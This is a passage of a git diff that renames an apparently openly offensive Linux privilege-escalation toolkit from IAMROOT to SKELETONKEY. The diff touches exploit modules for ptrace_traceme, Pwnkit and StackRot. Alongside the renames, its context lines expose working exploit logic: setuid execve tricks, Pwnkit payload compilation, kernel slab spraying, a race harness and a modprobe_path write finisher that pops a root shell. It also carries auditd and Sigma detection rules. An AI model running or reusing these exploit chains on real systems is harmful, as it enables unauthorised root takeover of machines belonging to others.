IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = ptrace_traceme_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] ptrace_traceme: already root\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } const char *setuid_bin = find_setuid_target(); if (!setuid_bin) { fprintf(stderr, "[-] ptrace_traceme: no setuid trigger binary available\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[*] ptrace_traceme: setuid trigger = %s\n", setuid_bin); @@ -199,7 +199,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx) /* fork: child becomes tracee-of-self setup, parent execve's setuid bin */ pid_t child = fork(); - if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* CHILD: set up the ptrace_link, then pause until parent has @@ -273,7 +273,7 @@ static iamroot_result_t ptrace_traceme_exploit(const struct iamroot_ctx *ctx) perror("execve setuid"); int status; waitpid(child, &status, 0); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; #endif } @@ -281,10 +281,10 @@ static const char ptrace_traceme_auditd[] = "# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n" "# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n" "# a setuid binary. False positives: gdb, strace, debuggers.\n" - "-a always,exit -F arch=b64 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n" - "-a always,exit -F arch=b32 -S ptrace -F a0=0 -k iamroot-ptrace-traceme\n"; + "-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n" + "-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"; -const struct iamroot_module ptrace_traceme_module = { +const struct skeletonkey_module ptrace_traceme_module = { .name = "ptrace_traceme", .cve = "CVE-2019-13272", .summary = "PTRACE_TRACEME → setuid binary execve → cred-escalation via ptrace inject", @@ -300,7 +300,7 @@ const struct iamroot_module ptrace_traceme_module = { .detect_falco = NULL, }; -void iamroot_register_ptrace_traceme(void) +void skeletonkey_register_ptrace_traceme(void) { - iamroot_register(&ptrace_traceme_module); + skeletonkey_register(&ptrace_traceme_module); } diff --git a/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.h b/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.h new file mode 100644 index 0000000..a0d146c --- /dev/null +++ b/modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * ptrace_traceme_cve_2019_13272 — SKELETONKEY module registry hook + */ + +#ifndef PTRACE_TRACEME_SKELETONKEY_MODULES_H +#define PTRACE_TRACEME_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module ptrace_traceme_module; + +#endif diff --git a/modules/pwnkit_cve_2021_4034/MODULE.md b/modules/pwnkit_cve_2021_4034/MODULE.md index 57dc4ae..830d44d 100644 --- a/modules/pwnkit_cve_2021_4034/MODULE.md +++ b/modules/pwnkit_cve_2021_4034/MODULE.md @@ -25,10 +25,10 @@ polkit until 0.121 (or distro backport). - Debian: 0.105-31+deb11u1 (bullseye), 0.105-26+deb10u1 (buster) - RHEL: polkit-0.115-13.el7_9 (RHEL 7), polkit-0.117-9.el8_5.1 (RHEL 8) -## IAMROOT detect logic (current) +## SKELETONKEY detect logic (current) 1. Resolve pkexec binary (`/usr/bin/pkexec` or `which pkexec`) -2. If not present → IAMROOT_OK (no attack surface) +2. If not present → SKELETONKEY_OK (no attack surface) 3. Run `pkexec --version` and parse version 4. Compare to known-fixed thresholds; report VULNERABLE if below diff --git a/modules/pwnkit_cve_2021_4034/NOTICE.md b/modules/pwnkit_cve_2021_4034/NOTICE.md index d0e0ea6..c6ea7a8 100644 --- a/modules/pwnkit_cve_2021_4034/NOTICE.md +++ b/modules/pwnkit_cve_2021_4034/NOTICE.md @@ -14,7 +14,7 @@ Original advisory: Upstream fix: polkit 0.121 (Jan 2022). -## IAMROOT role +## SKELETONKEY role The exploit module follows the canonical Qualys-style chain: writes payload.c + gconv-modules cache, compiles via the target's gcc, @@ -22,4 +22,4 @@ execve's pkexec with NULL argv and crafted envp. Handles both the legacy ("0.105") and modern ("126") polkit version string formats. Falls back gracefully on hosts without a compiler. -This is IAMROOT's first **userspace** LPE — not a kernel bug. +This is SKELETONKEY's first **userspace** LPE — not a kernel bug. diff --git a/modules/pwnkit_cve_2021_4034/iamroot_modules.h b/modules/pwnkit_cve_2021_4034/iamroot_modules.h deleted file mode 100644 index da3d646..0000000 --- a/modules/pwnkit_cve_2021_4034/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * pwnkit_cve_2021_4034 — IAMROOT module registry hook - */ - -#ifndef PWNKIT_IAMROOT_MODULES_H -#define PWNKIT_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module pwnkit_module; - -#endif diff --git a/modules/pwnkit_cve_2021_4034/iamroot_modules.c b/modules/pwnkit_cve_2021_4034/skeletonkey_modules.c similarity index 89% rename from modules/pwnkit_cve_2021_4034/iamroot_modules.c rename to modules/pwnkit_cve_2021_4034/skeletonkey_modules.c index 76fcb4d..b2dc685 100644 --- a/modules/pwnkit_cve_2021_4034/iamroot_modules.c +++ b/modules/pwnkit_cve_2021_4034/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * pwnkit_cve_2021_4034 — IAMROOT module + * pwnkit_cve_2021_4034 — SKELETONKEY module * * STATUS: 🔵 DETECT-ONLY (2026-05-16). Full exploit follows. * @@ -13,15 +13,15 @@ * embedded .so generator) is well-documented; landing it is a * follow-up commit. * - * Pwnkit is the first USERSPACE LPE in IAMROOT — the rest of the + * Pwnkit is the first USERSPACE LPE in SKELETONKEY — the rest of the * corpus is kernel bugs. The module shape is identical (same - * iamroot_module interface), but the affected-version check is + * skeletonkey_module interface), but the affected-version check is * package-version-based rather than kernel-version-based. core/ * may eventually grow a `pkg_version` helper if a few more userspace * modules need it. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include @@ -74,14 +74,14 @@ static bool pkexec_version_vulnerable(const char *version_str) return min < 121; /* 0.121 is the fix */ } -static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t pwnkit_detect(const struct skeletonkey_ctx *ctx) { const char *pkexec_path = find_pkexec(); if (!pkexec_path) { if (!ctx->json) { fprintf(stderr, "[+] pwnkit: pkexec not installed; no attack surface\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[i] pwnkit: found setuid pkexec at %s\n", pkexec_path); @@ -92,7 +92,7 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx) char cmd[512]; snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", pkexec_path); FILE *p = popen(cmd, "r"); - if (!p) return IAMROOT_TEST_ERROR; + if (!p) return SKELETONKEY_TEST_ERROR; char line[256] = {0}; char *r = fgets(line, sizeof line, p); @@ -101,12 +101,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[?] pwnkit: could not parse pkexec --version output\n"); } - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Output format: "pkexec version 0.105\n" or "pkexec version 0.120-..." */ char *vp = strstr(line, "version"); - if (!vp) return IAMROOT_TEST_ERROR; + if (!vp) return SKELETONKEY_TEST_ERROR; vp += strlen("version"); while (*vp == ' ' || *vp == '\t') vp++; @@ -124,12 +124,12 @@ static iamroot_result_t pwnkit_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[i] pwnkit: distro backports may have fixed lower-numbered versions;\n" " check `apt-cache policy policykit-1` / `rpm -q polkit` for the patch level\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } if (!ctx->json) { fprintf(stderr, "[+] pwnkit: pkexec version is ≥ 0.121 (fixed)\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ---- Pwnkit exploit (canonical Qualys-style PoC) ----------------- @@ -203,29 +203,29 @@ static bool write_file_str(const char *path, const char *content) return ok; } -static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t pwnkit_exploit(const struct skeletonkey_ctx *ctx) { /* Re-confirm vulnerable before doing anything visible. */ - iamroot_result_t pre = pwnkit_detect(ctx); - if (pre != IAMROOT_VULNERABLE) { + skeletonkey_result_t pre = pwnkit_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] pwnkit: detect() says not vulnerable; refusing\n"); return pre; } const char *pkexec = find_pkexec(); - if (!pkexec) return IAMROOT_PRECOND_FAIL; + if (!pkexec) return SKELETONKEY_PRECOND_FAIL; if (geteuid() == 0) { fprintf(stderr, "[i] pwnkit: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } /* Working dir under /tmp. Permissive on permissions so pkexec * (running as root) can read everything inside. */ - char workdir[] = "/tmp/iamroot-pwnkit-XXXXXX"; + char workdir[] = "/tmp/skeletonkey-pwnkit-XXXXXX"; if (!mkdtemp(workdir)) { perror("mkdtemp"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (!ctx->json) fprintf(stderr, "[*] pwnkit: workdir = %s\n", workdir); @@ -238,7 +238,7 @@ static iamroot_result_t pwnkit_exploit(const struct iamroot_ctx *ctx) " that's a future enhancement (multi-arch, distro-portable).\n" " For now: install build-essential or run on a host with cc.\n"); rmdir(workdir); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) fprintf(stderr, "[*] pwnkit: compiler = %s\n", gcc); @@ -339,22 +339,22 @@ fail: snprintf(path, sizeof path, "%s/payload.c", workdir); unlink(path); rmdir(workdir); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } -static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t pwnkit_cleanup(const struct skeletonkey_ctx *ctx) { (void)ctx; - /* Best-effort: nuke any leftover iamroot-pwnkit-* dirs in /tmp. + /* Best-effort: nuke any leftover skeletonkey-pwnkit-* dirs in /tmp. * Successful exploit cleans itself up (PWNKIT.so unlinks before * execve /bin/sh). Failed exploit leaves the tmpdir. */ if (!ctx->json) { - fprintf(stderr, "[*] pwnkit: removing /tmp/iamroot-pwnkit-* workdirs\n"); + fprintf(stderr, "[*] pwnkit: removing /tmp/skeletonkey-pwnkit-* workdirs\n"); } - if (system("rm -rf /tmp/iamroot-pwnkit-*") != 0) { + if (system("rm -rf /tmp/skeletonkey-pwnkit-*") != 0) { /* harmless — there may not be any */ } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ----- Embedded detection rules ----- */ @@ -362,13 +362,13 @@ static iamroot_result_t pwnkit_cleanup(const struct iamroot_ctx *ctx) static const char pwnkit_auditd[] = "# Pwnkit (CVE-2021-4034) — auditd detection rules\n" "# Flag pkexec execution from non-root + look for argc==0 indicators.\n" - "-w /usr/bin/pkexec -p x -k iamroot-pwnkit\n" - "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n" - "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k iamroot-pwnkit-execve\n"; + "-w /usr/bin/pkexec -p x -k skeletonkey-pwnkit\n" + "-a always,exit -F arch=b64 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n" + "-a always,exit -F arch=b32 -S execve -F path=/usr/bin/pkexec -k skeletonkey-pwnkit-execve\n"; static const char pwnkit_sigma[] = "title: Possible Pwnkit exploitation (CVE-2021-4034)\n" - "id: 9e1d4f2c-iamroot-pwnkit\n" + "id: 9e1d4f2c-skeletonkey-pwnkit\n" "status: experimental\n" "description: |\n" " Detects pkexec invocations with GCONV_PATH / CHARSET env tweaks (the\n" @@ -387,7 +387,7 @@ static const char pwnkit_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1068, cve.2021.4034]\n"; -const struct iamroot_module pwnkit_module = { +const struct skeletonkey_module pwnkit_module = { .name = "pwnkit", .cve = "CVE-2021-4034", .summary = "pkexec argv[0]=NULL → env-injection LPE (polkit ≤ 0.120)", @@ -403,7 +403,7 @@ const struct iamroot_module pwnkit_module = { .detect_falco = NULL, }; -void iamroot_register_pwnkit(void) +void skeletonkey_register_pwnkit(void) { - iamroot_register(&pwnkit_module); + skeletonkey_register(&pwnkit_module); } diff --git a/modules/pwnkit_cve_2021_4034/skeletonkey_modules.h b/modules/pwnkit_cve_2021_4034/skeletonkey_modules.h new file mode 100644 index 0000000..c2f0bfd --- /dev/null +++ b/modules/pwnkit_cve_2021_4034/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * pwnkit_cve_2021_4034 — SKELETONKEY module registry hook + */ + +#ifndef PWNKIT_SKELETONKEY_MODULES_H +#define PWNKIT_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module pwnkit_module; + +#endif diff --git a/modules/stackrot_cve_2023_3269/NOTICE.md b/modules/stackrot_cve_2023_3269/NOTICE.md index e39e5d4..c0257ac 100644 --- a/modules/stackrot_cve_2023_3269/NOTICE.md +++ b/modules/stackrot_cve_2023_3269/NOTICE.md @@ -16,7 +16,7 @@ Writeup: Upstream fix: mainline 6.5-rc1 (commit `0503ea8f5ba73`, July 2023). Branch backports: 6.4.4 / 6.3.13 / 6.1.37. -## IAMROOT role +## SKELETONKEY role Two-thread race driver (Thread A: mremap rotation on MAP_GROWSDOWN anchored VMA; Thread B: fork+fault) with cpu pinning. kmalloc-192 diff --git a/modules/stackrot_cve_2023_3269/iamroot_modules.h b/modules/stackrot_cve_2023_3269/iamroot_modules.h deleted file mode 100644 index df56a5c..0000000 --- a/modules/stackrot_cve_2023_3269/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * stackrot_cve_2023_3269 — IAMROOT module registry hook - */ - -#ifndef STACKROT_IAMROOT_MODULES_H -#define STACKROT_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module stackrot_module; - -#endif diff --git a/modules/stackrot_cve_2023_3269/iamroot_modules.c b/modules/stackrot_cve_2023_3269/skeletonkey_modules.c similarity index 92% rename from modules/stackrot_cve_2023_3269/iamroot_modules.c rename to modules/stackrot_cve_2023_3269/skeletonkey_modules.c index fa68180..637b932 100644 --- a/modules/stackrot_cve_2023_3269/iamroot_modules.c +++ b/modules/stackrot_cve_2023_3269/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * stackrot_cve_2023_3269 — IAMROOT module + * stackrot_cve_2023_3269 — SKELETONKEY module * * "Stack Rot": UAF in maple-tree-based VMA splitting. The maple * tree replaced the rbtree-based VMA store in 6.1; during @@ -28,7 +28,7 @@ * Per repo policy ("verified-vs-claimed"): we run the trigger, * record empirical signals (slabinfo delta on kmalloc-192, child * signal disposition, race iteration count), and return - * IAMROOT_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/ + * SKELETONKEY_EXPLOIT_FAIL with a continuation roadmap. A SIGSEGV/ * SIGBUS/SIGKILL in the race child IS recorded but does NOT get * upgraded to EXPLOIT_OK — only an actual cred swap (euid==0) * does, and we do not currently demonstrate that. @@ -67,7 +67,7 @@ * Affects the 6.1 LTS kernels still widely deployed. */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -148,12 +148,12 @@ static bool maple_tree_variant_present(const struct kernel_version *v) return false; } -static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t stackrot_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] stackrot: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } /* Bug introduced in 6.1 (when maple tree landed). Pre-6.1 kernels @@ -163,7 +163,7 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] stackrot: kernel %s predates maple-tree VMA code (introduced in 6.1)\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&stackrot_range, &v); @@ -171,14 +171,14 @@ static iamroot_result_t stackrot_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] stackrot: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->json) { fprintf(stderr, "[!] stackrot: kernel %s in vulnerable range\n", v.release); fprintf(stderr, "[i] stackrot: mm-class bug — affects default-config kernels; " "no exotic preconditions\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Userns reach ------------------------------------------------- */ @@ -436,7 +436,7 @@ static void *race_thread_b(void *arg) /* ---- Groom skeleton ---------------------------------------------- */ -/* msg_msg sysv spray for kmalloc-192. Tagged with "IAMROOT_" cookie +/* msg_msg sysv spray for kmalloc-192. Tagged with "SKELETONKEY_" cookie * so a forensic look at /proc/slabinfo / KASAN dumps shows our * fingerprint. */ static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES]) @@ -445,7 +445,7 @@ static int spray_anon_vma_slab(int queues[STACKROT_SPRAY_QUEUES]) memset(&p, 0, sizeof p); p.mtype = 0x4943; /* 'IC' */ memset(p.buf, 0x49, sizeof p.buf); - memcpy(p.buf, "IAMROOT_", 8); + memcpy(p.buf, "SKELETONKEY_", 8); int created = 0; for (int i = 0; i < STACKROT_SPRAY_QUEUES; i++) { @@ -530,7 +530,7 @@ static int stackrot_reseed_kaddr_spray(int queues[STACKROT_SPRAY_QUEUES], memset(&p, 0, sizeof p); p.mtype = 0x4943; /* 'IC' */ memset(p.buf, 0x49, sizeof p.buf); - memcpy(p.buf, "IAMROOT_", 8); + memcpy(p.buf, "SKELETONKEY_", 8); /* Pack the target kaddr at byte 8 (one qword in) and the * caller's payload bytes immediately after — this way ANY @@ -619,52 +619,52 @@ static int stackrot_arb_write(uintptr_t kaddr, #ifdef __linux__ -static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) +static skeletonkey_result_t stackrot_exploit_linux(const struct skeletonkey_ctx *ctx) { /* 1. Refuse-gate: re-call detect() and short-circuit. */ - iamroot_result_t pre = stackrot_detect(ctx); - if (pre == IAMROOT_OK) { + skeletonkey_result_t pre = stackrot_detect(ctx); + if (pre == SKELETONKEY_OK) { fprintf(stderr, "[+] stackrot: kernel not vulnerable; refusing exploit\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } - if (pre != IAMROOT_VULNERABLE) { + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] stackrot: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] stackrot: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!proc_self_maps_readable()) { fprintf(stderr, "[-] stackrot: /proc/self/maps not readable — exotic env, " "cannot drive the race\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } { struct kernel_version v; if (!kernel_version_current(&v) || !maple_tree_variant_present(&v)) { fprintf(stderr, "[-] stackrot: maple-tree variant not detectable\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } } /* Full-chain pre-check: resolve offsets BEFORE forking + entering * userns. If modprobe_path is unresolvable we refuse here rather * than running a 30 s race that has no finisher to call. */ - struct iamroot_kernel_offsets off; + struct skeletonkey_kernel_offsets off; bool full_chain_ready = false; if (ctx->full_chain) { memset(&off, 0, sizeof off); - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("stackrot"); + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("stackrot"); fprintf(stderr, "[-] stackrot: --full-chain requested but modprobe_path " "offset unresolved; refusing\n"); fprintf(stderr, "[i] stackrot: even with offsets, race-win reliability is " "well below 1%% per run — see module header.\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); full_chain_ready = true; fprintf(stderr, "[i] stackrot: --full-chain ready — race budget extends to " "%d s, but RELIABILITY REMAINS <1%% per run on a real\n" @@ -683,7 +683,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) signal(SIGPIPE, SIG_IGN); pid_t child = fork(); - if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; } + if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; } if (child == 0) { /* 2. Userns reach. Bug is reachable without it, but userns @@ -746,7 +746,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) uint64_t b_faults = atomic_load(&g_race_b_faults); /* 6. Empirical witness breadcrumb. */ - FILE *log = fopen("/tmp/iamroot-stackrot.log", "w"); + FILE *log = fopen("/tmp/skeletonkey-stackrot.log", "w"); if (log) { fprintf(log, "stackrot race harness:\n" @@ -803,11 +803,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) .arb_calls = 0, .region = ®ion, }; - int fr = iamroot_finisher_modprobe_path(&off, + int fr = skeletonkey_finisher_modprobe_path(&off, stackrot_arb_write, &arb_ctx, !ctx->no_shell); - FILE *fl = fopen("/tmp/iamroot-stackrot.log", "a"); + FILE *fl = fopen("/tmp/skeletonkey-stackrot.log", "a"); if (fl) { fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n", fr, arb_ctx.arb_calls); @@ -815,7 +815,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) } drain_anon_vma_slab(queues); race_region_teardown(®ion); - if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */ + if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); /* root popped */ _exit(35); /* finisher ran, no land */ } @@ -851,7 +851,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) /* PARENT */ int status = 0; pid_t w = waitpid(child, &status, 0); - if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; } + if (w < 0) { perror("waitpid"); return SKELETONKEY_TEST_ERROR; } if (WIFSIGNALED(status)) { int sig = WTERMSIG(status); @@ -860,20 +860,20 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) "(consistent with UAF firing under KASAN)\n", sig); fprintf(stderr, "[~] stackrot: empirical signal recorded; no cred\n" " overwrite primitive — NOT claiming EXPLOIT_OK.\n" - " See /tmp/iamroot-stackrot.log + dmesg for witnesses.\n"); + " See /tmp/skeletonkey-stackrot.log + dmesg for witnesses.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!WIFEXITED(status)) { fprintf(stderr, "[-] stackrot: child terminated abnormally (status=0x%x)\n", status); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); - if (rc == 22 || rc == 24) return IAMROOT_PRECOND_FAIL; - if (rc == 23) return IAMROOT_EXPLOIT_FAIL; + if (rc == 22 || rc == 24) return SKELETONKEY_PRECOND_FAIL; + if (rc == 23) return SKELETONKEY_EXPLOIT_FAIL; if (rc == 34) { /* Finisher reported root-pop success. The shared finisher @@ -883,7 +883,7 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] stackrot: --full-chain finisher reported " "EXPLOIT_OK (race won + write landed)\n"); } - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } if (rc == 35) { /* Finisher ran but didn't land — by far the expected outcome @@ -893,11 +893,11 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) " win + land within budget (this is the expected\n" " outcome — race-win reliability is <1%% per run).\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (rc != 30) { fprintf(stderr, "[-] stackrot: child failed at stage rc=%d\n", rc); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { @@ -906,35 +906,35 @@ static iamroot_result_t stackrot_exploit_linux(const struct iamroot_ctx *ctx) " implemented (per-kernel offsets; see module .c TODO\n" " blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } #endif /* __linux__ */ -static iamroot_result_t stackrot_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t stackrot_exploit(const struct skeletonkey_ctx *ctx) { #ifdef __linux__ return stackrot_exploit_linux(ctx); #else (void)ctx; fprintf(stderr, "[-] stackrot: Linux-only module; cannot run on this host\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #endif } /* ---- Cleanup ----------------------------------------------------- */ -static iamroot_result_t stackrot_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t stackrot_cleanup(const struct skeletonkey_ctx *ctx) { if (!ctx->json) { fprintf(stderr, "[*] stackrot: cleaning up race-harness breadcrumb\n"); } - if (unlink("/tmp/iamroot-stackrot.log") < 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-stackrot.log") < 0 && errno != ENOENT) { /* harmless */ } /* The race harness's threads + msg queues live in the child * process which has already exited; nothing else to drain. */ - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ---- Detection rules --------------------------------------------- */ @@ -945,12 +945,12 @@ static const char stackrot_auditd[] = "# stacks, combined with unshare(CLONE_NEWUSER). Each individual call\n" "# is benign — flag the *combination* by correlating these keys with a\n" "# subsequent kernel oops or KASAN message in dmesg.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-stackrot-userns\n" - "-a always,exit -F arch=b64 -S mremap -k iamroot-stackrot-mremap\n" - "-a always,exit -F arch=b64 -S mprotect -k iamroot-stackrot-mprotect\n" - "-a always,exit -F arch=b64 -S munmap -F success=1 -k iamroot-stackrot-munmap\n"; + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-stackrot-userns\n" + "-a always,exit -F arch=b64 -S mremap -k skeletonkey-stackrot-mremap\n" + "-a always,exit -F arch=b64 -S mprotect -k skeletonkey-stackrot-mprotect\n" + "-a always,exit -F arch=b64 -S munmap -F success=1 -k skeletonkey-stackrot-munmap\n"; -const struct iamroot_module stackrot_module = { +const struct skeletonkey_module stackrot_module = { .name = "stackrot", .cve = "CVE-2023-3269", .summary = "maple-tree VMA-split UAF (StackRot) → kernel R/W → cred overwrite", @@ -966,7 +966,7 @@ const struct iamroot_module stackrot_module = { .detect_falco = NULL, }; -void iamroot_register_stackrot(void) +void skeletonkey_register_stackrot(void) { - iamroot_register(&stackrot_module); + skeletonkey_register(&stackrot_module); } diff --git a/modules/stackrot_cve_2023_3269/skeletonkey_modules.h b/modules/stackrot_cve_2023_3269/skeletonkey_modules.h new file mode 100644 index 0000000..a1fa90a --- /dev/null +++ b/modules/stackrot_cve_2023_3269/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * stackrot_cve_2023_3269 — SKELETONKEY module registry hook + */ + +#ifndef STACKROT_SKELETONKEY_MODULES_H +#define STACKROT_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module stackrot_module; + +#endif diff --git a/iamroot.c b/skeletonkey.c similarity index 81% rename from iamroot.c rename to skeletonkey.c index d8ed32b..17c56aa 100644 --- a/iamroot.c +++ b/skeletonkey.c @@ -1,14 +1,14 @@ /* - * IAMROOT — top-level dispatcher + * SKELETONKEY — top-level dispatcher * * Usage: - * iamroot --scan # run every module's detect() - * iamroot --scan --json # machine-readable output - * iamroot --scan --active # invasive probes (still no /etc/passwd writes) - * iamroot --list # list registered modules - * iamroot --exploit --i-know # run a named module's exploit - * iamroot --mitigate # apply a temporary mitigation - * iamroot --cleanup # undo --exploit or --mitigate side effects + * skeletonkey --scan # run every module's detect() + * skeletonkey --scan --json # machine-readable output + * skeletonkey --scan --active # invasive probes (still no /etc/passwd writes) + * skeletonkey --list # list registered modules + * skeletonkey --exploit --i-know # run a named module's exploit + * skeletonkey --mitigate # apply a temporary mitigation + * skeletonkey --cleanup # undo --exploit or --mitigate side effects * * Phase 1 scope: thin dispatcher over the copy_fail_family bridge. * Future phases add: --detect-rules export, multi-family registry, @@ -28,17 +28,22 @@ #include #include -#define IAMROOT_VERSION "0.3.1" +#define SKELETONKEY_VERSION "0.4.0" static const char BANNER[] = "\n" -" ██╗ █████╗ ███╗ ███╗██████╗ ██████╗ ██████╗ ████████╗\n" -" ██║██╔══██╗████╗ ████║██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝\n" -" ██║███████║██╔████╔██║██████╔╝██║ ██║██║ ██║ ██║ \n" -" ██║██╔══██║██║╚██╔╝██║██╔══██╗██║ ██║██║ ██║ ██║ \n" -" ██║██║ ██║██║ ╚═╝ ██║██║ ██║╚██████╔╝╚██████╔╝ ██║ \n" -" ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝ 